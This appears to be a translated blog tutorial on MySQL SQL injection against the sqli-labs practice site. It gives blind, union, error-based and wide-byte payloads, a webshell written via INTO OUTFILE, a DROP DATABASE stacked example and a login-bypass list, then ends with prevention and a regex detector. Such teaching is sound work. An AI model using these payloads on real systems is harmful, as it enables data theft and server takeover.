Environment
Tool: burp suite, Target: sqli, Server: centos7, Database: mysql5.7
What is SQL injection?
SQL injection is one of the common network attack methods, which does not take advantage of the operating system's bugs to achieve the attack, but targets the programmer's oversight during writing, and achieves unaccounted login through SQL statements, even tampering with the database.

Since the following environments are all MySQL databases, it is necessary to understand some knowledge about MySQL first. After MySQL5.0, a default table namedinformation_schema
databaseAll tables in this database are read-only and cannot be updated, deleted, or inserted, nor can triggers be loaded, because they are actually just views, not base tables, and do not have associated files.
Comment symbols in MySQL: # 、/**/ 、 --
Three very important tables in the information_schema:
information_schema.schemata: This table stores all the databases of the mysql database
database name
information_schema.tables: This table stores all the tables of the mysql database
Table name
information_schema.columns: This table stores all the columns of the mysql database
column name
Common functions in Mysql
-------------------------------------
version(): Query the database version
user(): Query the user of the database
database(): Database
system_user(): System username
session_user(): Username connected to the database
current_user(): current username
load_file(): read the local file
@@datadir: Read the database path
@@basedir: MySQL installation path
@@version_complie_os: View the operating system
-------------------------------------
ascii(str): returns the ascii value of the given character. If str is an empty string, it returns 0. If str is NULL, it returns NULL. Such as ascii("a")=97
length(str): returns the length of the given string, such as length("string")=6
substr(string,start,length): for a given string string, extract from the start position, with a length of length, such as substr("chinese",3,2)="in"
substr(), stbstring(), mid(): the usage and functions of the three functions are the same
concat(username): concatenate the queried username together, separated by commas by default
concat(str1,'*',str2): query the data of the strings str1 and str2 together, connected by *
group_concat(username): query all the data of username together, connected by commas
limit 0,1: query the first number limit 1,1: query the second number
to determine whether SQL injection exists
first add a single quote
'
, double quotes"
, single parentheses)
, double parentheses))
and see iferror, if an error occurs, it may indicate an SQL injection vulnerability.and adding something to the end of the URL
, and and 1 = 1, and and 1 = 2
to see if the page displays the samedisplaying differentlythere is definitely an SQL injection vulnerability.and also
Timing Attack
test, that isTime blind injection
. Sometimes, it is not possible to see the exception through simple conditional statements like and 1=2.In MySQL, there is a
Benchmark()
function, which is used for performance testing.Benchmark(count,expr)
, the result of this function execution is to evaluate the expressionexpr
executecount
time.
Therefore, by usingbenchmark function
,It allows the same function to be executed multiple times, making the time for the result to return longer than usual. By changing the length of time, it is possible to determine whether the injected statement has been executed successfully.This is a side-channel attack, and this technique is called in blind injection.Timing Attack
That isTime blind injection
.
Functions prone to SQL injection:All andDatabase has interaction
It is prone to SQL injection, and SQL injection often appears in login pages, functions involving obtaining HTTP headers (user-agent / client-ip, etc.), and order processing, etc. For example, in the login page, in addition to the common universal password and post data injection, it may also occur in the client-ip and x-forward-for fields in the HTTP header. These fields are used to record the login IP and may be stored in the database, leading to interaction with the database and causing SQL injection.
Classification of SQL injection
Classification basis | Type |
---|---|
Way to obtain information | Boolean blind injection, time blind injection, error injection, union query injection, stacked injection, etc. |
Submission method | GET, POST, COOKIE, HTTP injection, etc. |
Type of injection point | Injection of numeric types, string types, search type injection, etc. |
Other injections | Secondary injection, User-Agent injection, file read and write, wide character injection, universal password, etc. |
N largest types of SQL injection principle
First, boolean blind injection
1. Principle and manual injection
Condition:The attacker cannot directly obtain this information
The web page will only returnTrue
AndFalse
. So boolean blind injection is to perform SQL injection and then get relevant information in the database based on the True or False returned by the page. Here, we introduce a case of blind injection using ASCII code.
Some common functions used in blind injection:ascii()
、substr()
、length()
,exists()
、concat()
Etc.
http://192.168.1.132:86/Less-5/?id=1
Is the correct page, and the echo is as shown below:
http://192.168.209.128:88/Less-5/?id=1'
IsError pageDiscover the injection point, and the echo is as shown below:
http://192.168.209.128:88/Less-5/?id=1' and length(database())>5 -- qwe
Note: The qwe before needs to be usedSpaceUse bool values for injection like: and 1=1
1. How to judge the type of database?
In this exampleThe error page has told us that this database is MySQLSo when we don't know what kind of database it is, how can we tell which database it is? The mainstream databases all have their own distinctive tables as follows:
Database | Table name |
---|---|
MySQL | information_schema.tables |
Access | msysobjects |
SQLServer | sysobjects |
By these special tables, we can use the following statements to determine the database.The page that is normally displayed belongs to which database
//Determine if it is a MySQL database
http://192.168.209.128:88/Less-5/?id=1' and exists(select * from information_schema.tables) #
//Determine if it is an Access database
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//Determine if it is a Sqlserver database
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
//For MySQL databases, the tables in the information_schema database are read-only and cannot be updated, deleted, or inserted, nor can triggers be loaded because they are actually just views, not base tables, and do not have associated files.
information_schema.tables
Stores metadata information about data tables. The following introduces commonly used fields:
Name | Description |
---|---|
table_schema | Record the name of the database |
table_name | Record the name of the data table |
table_rows | A rough estimate of the number of rows in the table |
data_length | Record the size of the table (in bytes) |
2. Determine the current database name (the following method is not applicable to Access and SQL Server databases)
1: Determine the length of the current database using binary search
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>5 --+ //Normal display
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>10 --+ //No data displayed
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>7 --+ //Normal display
http://192.168.209.128:88/sqli/Less-5/?id=1' and length(database())>8 --+ //No data is displayed
Greater than 7 is normally displayed, greater than 8 is not displayed, indicating that it is greater than 7 but not greater than 8, so we know that the length of the current database is 8 img img
2: Determine the characters of the current database, and use binary search to determine in the same way as above
//Determine the first character of the database
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100 --+ //Determine the first character of the database
//Determine the second character of the database
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+ //Determine the second character of the database
......
From this, we can determine that the current database is security, note the use ofASCII code
When converting characters, it is necessary to useDecimal
3. Determine the tables in the current database (add--+ after the statement)
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) //Guess whether there is an 'admin' table in the current database
1: Determine the number of tables in the current database
//Determine whether the number of tables in the current database is greater than 5 using binary search, and finally know that the number of tables in the current database is 4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2: Determine the length of each table
//Determine the length of the first table using binary search, and finally know that the length of the first table in the current database is 6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//Determine the length of the second table using binary search, and finally know that the length of the second table in the current database is 6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3: Determine the ASCII value of each character of each table
//Determine the ASCII value of the first character of the first table
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//Determine the ASCII value of the second character of the first table
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
From this, it can be determined that the tables 'emails', 'referers', 'uagents', 'users' exist, and it is guessed that the 'users' table is most likely to contain accounts and passwords, so the following field and data judgments are made in the 'users' table
4. Determine the fields in the table
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) //If the existence of the 'admin' table has been confirmed, then guess if the 'username' field exists
1: Determine the number of fields in the table
//Determine if the number of fields in the 'users' table is greater than 5, the 'users' table is obtained from the above statement
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2: Determine the length of the field
//Determine the length of the first field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
// Judge the length of the second field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3: Judge the ASCII value of the field
// Judge the length of the first character of the first field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
// Judge the length of the second character of the first field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
......
From this, we can determine that the users table contains the fields id, username, and password
5. Judge the data in the field
We know that there are three fields id, username, and password in the users table, and now we will expose the data of each field
1: Judge the length of the data
// Judge the length of the first data in the id field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
// Judge the length of the second data in the id field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2: Judge the ASCII value of the data
// Judge the ascii value of the first character of the first data of the id field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
// Judge the ascii value of the second character of the first data of the id field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
......
2. Union query injection (union injection)
1. Principle and manual injection
Three conditions:
two tables
The number of columns is the same
and the corresponding columns haveSimilar data types
.Query results
Echo
.There is an injection vulnerability.
We can useorder by
to determine the number of columns of the current table.
http://192.168.209.128:88/Less-1/?id=1' order by 4-- qwq
4 is an error, 3 is correct, which can be known that the current table has 3 columns
ThroughUnion union query
to know the number of columns displayed.
http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,3 -- qwq
The columns in the union query we have performed are displayed. It can be known that the 2nd and 3rd columns areEcho column
So we can insert some functions at these two positions.
-------------------------------------
version(): Query the database version
user(): Query the user of the database
database(): Database
system_user(): System username
session_user(): Username connected to the database
current_user: Current username
load_file: Read the local file
@@datadir: Read the database path
@@basedir: MySQL installation path
@@version_complie_os: View the operating system
-------------------------------------
Start the injection script
//Echo the database version information and the path of the database
http://192.168.209.128:88/Less-1/?id=-1' union select 1,version(),@@datadir -- qwq
// More for self-experimentation
。。。。。。
We can also get more information through union injection.
// Get all databases
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
// Get all tables
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables--+
// Get all columns
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns --+
Throughselect 1,database(),3...
From which we can deduce the current database namesecurity
By doing so, we can get all the tables in the current database with the following statement.
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +
Since we know that there are four tables in the current database, we can find out the following through the following statementcolumns in each table
.
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +
As shown below, we can know that the users table has three columns: id, username, and password
By using group_concat() to concatenate account password and id, all data can be exposed
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users -- +
III. File read and write
1. File reading through union injection
NoteWhen there are displayed columns, file reading can be exploited through union injection. When there are no displayed columns, data reading can only be exploited through blind injection;
File writing can only be exploited through union injection
Example: Read the /demo.txt file in the root directory of the system
//Union injection to read the /demo.txt file, on Windows use -> drive:/path
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("demo.txt") -- +
//Also, you can convert /demo.txt to hexadecimal. This didn't work, you can find some information...
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x2F64656D6F2E747874) -- +
If it is not successful, refer to the following solutions: Find the my.ini/my.cnf file in the mysql directory and add the following content under [mysqld]:secure_file_priv = ""
As shown in the figure:
Log in to mysql and execute the following command
mysql>SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
heresecure_file_priv
The value must be "" or "/". secure_file_priv has three values
1. Limit mysqld to not allow import | export
mysqld –secure_file_prive=null
2. Limit the import | export of mysqld to only occur in the /tmp/ directory
mysqld –secure_file_priv=/tmp/
3. No restrictions on the import | export of mysqld
secure_file_priv=''
2. Blind read file
Blind read is to usehex function
Convert the read string to hexadecimal and then useascii function
Convert it to ASCII code and then useBinary search method
Judge characters one by one, which is very complex, usually combined with tools to complete
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
We can use the file writing function to create a 4.php file on the E drive and then write a one-line trojan.
//Use union injection to write a one-line trojan into outfile, and into dumpfile can also be used
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' -- +
// Convert a one-line trojan into hexadecimal form
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' -- +
When encountering the following situation during file write and read operations.
Mostly becauseInsufficient permissions
You can use@@datadir
To get the current database storage directory, try file injection in the database storage directory, for example
http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile '/www/server/mysql/4.php' --
Injection successful
Solution for insufficient permissions - refer toEnvironment: CentOS7.0 64-bit MySQL5.7 Problem:
#Backup table data using 'select into outfile' prompts that the file cannot be written
mysql> select 1,2,'you are very good hacker' from into outfile '/www/server/mysql/app.txt';
ERROR 1 (HY000): Can't create/write to file '/www/server/mysql/app.txt' (Errcode: 13)
Troubleshooting:
# Check the process user of mysql, it is the mysql user
[root@lfs ~]# ps aux|grep mysqld
root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql
mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/lfs.err --pid-file=/usr/local/mysql/data/lfs.pid --socket=/tmp/mysql.sock --port=3306
# Check the permissions of the /www/server/mysql/ directory, the mysql user does not have write permission
[root@lfs ~]# ls -ld /www/server/mysql/
drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/
Solution:
# Set the ownership of the /data/mysql/ directory to the mysql user
chown -R mysql.mysql /www/server/mysql/
[root@lfs ~]# ls -ld /data/mysql/
drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/
Verification, write successfully:
Four, error injection
Commonly used error injection functions
floor()
extractvalue()
updatexml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
.。。。。。。。
Here is an exampleupdatexml()
.
updatexml()
MySQL provides aupdatexml()
The function will report an error when the second parameter contains special symbols, and the content of the second parameter will be displayed in the error information.
We try to use the error function while querying the user ID, and enter the address bar:?id=1' and updatexml(1, 0x7e, 3) -- a
The query results in parameter 2 content are displayed in the database error information and echoed back to the page.
version()
: Return database versionconcat()
: Concatenate special symbols and query results
updatexml()
The error content length of the function cannot exceed 32 characters, and there are two common solutions:
limit
: Paginationsubstr()
: Character截取
1.1 limit pagination
For example, if the users table contains username and password fields, displaying the data of a specific password field
id=-1' and updatexml(1, concat(0x7e,(
select password from users limit 0,1
), 3) -- a
Usinggroup_concat(field name)
Displaying the data of the password field with the maximum 32-character length
id=-1' and updatexml(1, concat(0x7e,(
select group_concat(password) from users limit 0,1
), 3) -- a
1.2 substr()
Case for obtaining password data
http://192.168.209.128:88/Less-1/?id=-1' and updatexml(1, concat(0x7e,
substr((select group_concat(password) from users),1,31)
),3) -- qwe
1.3 Step summary
Applicable situations: Page has database error information
1. The website information must be dynamic, coming from the database error messages.
2. Website hard-coded and custom error messages are not counted
1. Check if an error is reported
Adding single/double quotes in the parameters, an error on the page must be reported before proceeding to the next step.
?id=1' -- a
2. Judge the error condition
Add error reporting functions to the parameters and check whether the error information is normally echoed back.
?id=1' and updatexml(1,'~',3) -- a
3. Data exfiltration
//Get all databases
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) from information_schema.schemata)
,1,31)
),3) -- qwq
//Get all tables
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(table_name) from information_schema.tables where table_schema ='security')
,1,31)
),3) -- qwq
//Get all fields
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users')
,1,31)
),3) -- qwq
5. Time-based blind injection
Timing Attack injection, which is also known as time-based blind injection
. It is not possible to see any abnormalities through simple conditional statements such as and 1=2.
In MySQL, there is aBenchmark()
Function, it is used to test performance. Benchmark(count,expr), the result of this function is to execute the expression expr count times.
Therefore, by using the benchmark function, the same function can be executed multiple times, making the result return time longer than usual. By changing the time length, you can determine whether the injection statement is executed successfully. This is a side-channel attack, and this technique is called in blind injection.Timing Attack
which is also known as time-based blind injection.
Precondition for use:There is no display on the page, nor is there any output of SQL statement execution error information. The correct SQL statement and the incorrect SQL statement return the same page, but after adding the sleep(5) condition, the page return speed is obviously slower by 5 seconds.
//Check for time delay injection
?id=1' and sleep(5) --+
6. Wide byte injection
Wide byte injection is due to the difference between Chinese and English in different encodingsCharacter occupation
The difference in encoding leads to, in general, a Chinese character occupies 2 bytes in the GBK encoding. All ANSI encodings for Chinese characters occupy two characters, except for UTF-8.
//GBK and other ANSI results are 2
echo strlen("中")
//UTF-8
echo strlen("中") //result is 3
First, let's talk about the filtering of sql injection in php, here we have to mention several functions.
addslashes()
Function, this function inPredefined characters
before adding the backslash \ . This function has a special featureAlthough it will add a backslash \ for escaping, the \ will not be inserted into the database.. This function has the same function asMagic quotes
completely the same, so when the magic quotes are turned on, this function should not be used. You can useget_magic_quotes_gpc()
to check whether it has been escaped.
mysql_real_escape_string()
Function, this function is used to escape special symbols in sql statementsx00
、\n
、\r
、\
、'
、"
、x1a
.
Note:
Predefined characters
: Single quote ',double quote ",backslash \,NULLMagic quotes
: When enabled, all single quotes '、double quotes "、backslash \ and NULL characters will be automatically added with a backslash for escaping, which is completely the same as the function of the addslashes() function. Therefore, if the magic quotes are turned on, do not use the addslashes() function. There are three magic quotes instructions:magic_quotes_gpc
magic_quotes_runtime
magic_quotes_sybase
Practice: This time we use sqli's Less-32,
//Normal display
http://192.168.209.128:88/Less-32/?id=1 -- qwq
Start injection:
//Add quotes
http://192.168.209.128:88/Less-32/?id=1' -- qwq
//Boolean injection
http://192.168.209.128:88/Less-32/?id=1' and 1=2 -- qwq
//unionunion injection
http://192.168.209.128:88/Less-32/?id=1' union select 1,version(),database() -- qwq
find the page echo information, each injection will escape the \, so at this time we need to put\
remove
wide character injection, here we use a feature of MySQL. When MySQL uses GBK encoding, it will consider2
is1
Chinese characters, on the premise that the ASCII value of the previous character is greater than 128, it will be considered as Chinese characters. So as long as the data we inputgreater than or equal to %81
It can make 'escape out'.
Start injection:
http://192.168.1.132:86/Less-32/?id=1 %df
It can be found that %df and ' together form a Chinese character ba/
After the number is killed, union union injection can be used to query data.
http://192.168.209.128:88/Less-32/?id=-1�' union select 1,2,3 -- qwq
Injection successful!
Seven, stacked injection
In SQL, the semicolon ';' is used to indicate the end of a SQL statement. Imagine that in Continue to construct the next statement after one statement ends, will they be executed together?Therefore, this idea has also led toStacked injection
. And union injection (union injection) also merges two statements together, what is the difference between them? The difference lies in the limited statement types executed by union or union all, which can only be used to execute query statements, while stacked injection can execute any statement. For example, the following example. User input: root';DROP database user;The SQL statement generated by the server side is:select * from user where name='root';DROP database user;
After the query is executed, the first one displays the query information, and the second one deletes the entire user database.
Eight, second injection
Concept
Second injection refers toInjection caused by the user input stored (database, file) being read and then entering the SQL query statement again. Second injection is a type of SQL injection, but it is more complex than the ordinarySQL injection
It is more difficult to use, with a higher threshold. Directly injecting data into the SQL query is straightforward, while second injection isInput data is processed and stored, then retrieved and entered into the SQL query again.
Principle
In the first data insertion into the database, only the knowledge of usingaddslashes()
Or with the help ofget_magic_quotes_gpc()
The characters obtained are escaped, which may be escaped in the backend code, but are still the original data when stored in the database. Generally, the data contains single quotes and '#' symbols, and then they are used again in the SQL composition, so a second injection is possible.
Process
Insert '1‘#'
Escape to '1\'#'
Cannot be injected, but when stored in the database, it becomes the original '1'#
Use '1'# for injection, here the requirement is to not escape the data when retrieving it
Condition
Users insert malicious statements into the database (even if the backend code has escaped the statements, such as mysql_escape_string, mysql_real_escape_string escaping)
The database is very confident in storing its data, directly reading out malicious data to the user
Utilize
Register the username 'admin' -- -(the hyphens at the end are used to highlight the preceding spaces, serving as comments)
Log in using the account just registered.
3. View the registration source code
We found that the user did not filter special characters when registering, so it is once again emphasized that we have successfully registered our users!
Perform password modification (attack)
Attack successful, return to log in to the account admin with the updated password.
Login successful
When changing the password, the statement will become:
$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' -- w' and password='$curr_pass' ";
-- w
All the following are commented out, so the password of the admin user is modified to aaaaaa
Chapter 9: User-Agent Injection
We visit http://127.0.0.1/sqli/Less-18/, the page displays a login box and our IP information.
After we input the correct username and password and log in, the page displays the User-Agent of the browser.
Capture the packet, modify its User-Agent as shown in the figure below, and test whether there is User-Agent injection
The page reports an error, indicating the existence of error injection
' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #
We can change database() to any function
As can be seen, the page displays the current database.
Chapter 10: Cookie Injection
Principle
The principle of cookie injection is: it is to inject by modifying the value of the cookie
♦ The principle of cookie injection is the same as that of normal injection, except that the injected parameter is changed to cookie
♦ To carry out cookie injection, we first need to modify the cookie, which requires the use of JavaScript language here.
Condition
Two necessary conditions:
The program filters the data submitted by get and post methods, but does not filter the database submitted by cookie.
On the basis of condition 1, the program needs to directly obtain the submitted data in the form of
request("xxx")
In the wayNot specifiedUsing specific methods of the request object to obtain, that is to sayThe parameters obtained when using the request method.It can be parameters after the URL.,It can also be parameters in the cookie, which are not filtered here.The principle after this is just like our SQL injection.
Eleven, universal password
Principle
Original verification login statement:
SELECT * FROM admin WHERE Username='".$username."' AND Password='".md5($password)."'
Input1' or 1=1 or '1'='1
The universal password statement becomes:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
Thus, the priority relationship is obtained:or<and<not
, the same priority level is calculated from left to right by default.
Above
'1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
First calculateDefinitely returnsfalse
, because the password is randomly entered. (This is false)Username='1' returns false, database does not have 1 this username (This is false)
1=1 returns true (This is true)
The results are as follows:False or True or False
ReturnTrue
. Verification passed. For example:
select tel,pwd where tel='111' and pwd='123456'
We take the phone number 111 as a variable, input the phone number as' or 1= '1
.
The sql becomes as follows:
select tel,pwd where tel='' or 1='1' and pwd='123456'
Above
1='1' and pwd='123456'
First calculateDefinitely returnsfalse
. (This is false)tel=''' returns false, database does not have
''
This phone number. (This is false)
The results are as follows:True or False
ReturnTrue
. Verification passed.
Common万能密码
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a Password is arbitrary
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
Prevention of SQL injection
Generally, in our projects, we do not pay much attention to the issue of SQL injectionBecause we will use ORM, and ORM will also help me filter SQL injection during its implementation; but sometimes ORM cannot meet our needs, and at this time, we may manually write native SQL to execute
Pre-compilation (PreparedStatement) (JSP)
You can use pre-compiled statements that have built-in capabilities to handle SQL injection, just use its setXXX method to pass values.
String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();
As shown above, it is a typical example of using SQL statement pre-compilation to prevent SQL injection. Why can this prevent SQL injection?
The reason for this is that when using PreparedStatement for pre-compilation, the SQL statement: "select id, no from user where id=?" is pre-compiled in advance, which means the SQL engine will perform syntax analysis in advance, generate a syntax tree, and create an execution plan. In other words, any parameters you input later, regardless of what they are, will not affect the syntax structure of this SQL statement, because the syntax analysis has been completed. The syntax analysis mainly analyzes SQL commands, such as select, from, where, and, or, order by, etc. Therefore, even if you input these SQL commands later, they will not be executed as SQL commands, because the execution of these SQL commands must first go through syntax analysis and generate an execution plan. Since the syntax analysis has been completed and the statement has been pre-compiled, the parameters input later are absolutely impossible to be executed as SQL commands; they will only be treated as string literal parameters. Therefore, SQL statement pre-compilation can effectively prevent SQL injection.
Principle: SQL injection only has a destructive effect on the compilation process of SQL statements, while PreparedStatement has been pre-compiled, and the execution stage only treats the input string as data processing. It no longer parses the SQL statement. Therefore, it also avoids the SQL injection problem.
PDO (PHP)
First, let's briefly introduce what PDO is. PDO is the abbreviation for PHP Data Objects (php data objects). PDO was supported starting from the php5.1 version. You can think of PDO as a class provided by PHP. It provides a set of database abstraction layer API, which makes it no longer necessary to care about the specific database type to be connected when writing PHP code. You can use PDO to connect to mysql, as well as to connect to oracle. And PDO solves the SQL injection problem very well.
The principle of PDO for solving SQL injection is also based on pre-compilation.
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
After instantiating the PDO object, the first step is to pre-process the requested SQL statement. Here, we use the placeholder method to pass the SQL into the prepare function, after which the pre-processing function will obtain the SQL template class for this query statement, and return this template class. The template can prevent the transmission of dangerous variables from changing the semantics of the query statement itself. Then use the bindParam() function to bind the user input data and the parameter id, and finally execute.
Use regular expressions to filter
Regular expressions are a tool used for pattern matching and are very useful in detecting SQL injection. We can use regular expressions to filter and verify user input to ensure that it does not contain any malicious SQL code. Below are some common regular expression examples:
Strictly filter special characters from user input, such as '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union
pattern = re.compile(
r"(%27)|(\')|(\-\-)|(%23)|(#)|" # Regex for detection of SQL meta-characters
r"\w*((%27)|(\'))\s+((%6F)|o|(%4F))((%72)|r|(%52))\s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or',
r"((%3D)|(=))[^\n]*((%27)|(\')|(\-\-)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --'
r"((%27)|(\'))union|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))select|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))insert|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))update|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))drop", # Regex for detecting SQL Injection with the UNION keyword
re.IGNORECASE,
)
r = pattern.search("' OR 1 -- -")
if r:
return True
Other
The permissions of the user for connecting to the database in the Web application are strictly separated from those of the system administrator user of the database (such as cannot execute drop, etc.), and it is set that the user for connecting to the database in the Web application is not allowed to operate other databases.
The user for connecting to the database in the Web application is not allowed to have write permissions for the Web directory.
Strictly limit the type and format of parameters, clarify the boundaries of parameter verification, and must check the legality of the submitted data before formal processing on the server.
Use Web Application Firewall.
The team leader wants to set up a cyber security novice learning group, supervise each other, and become cyber security experts. If the content is helpful to you, welcome to follow my public account [Xiaoyu Cyber Security]. It updates my own learning records irregularly, which is used to better help novices solve problems.
Thank you!
Original articlehttps://mp.weixin.qq.com/s/qVjYhimggJZ-wWyLKDixZA

评论已关闭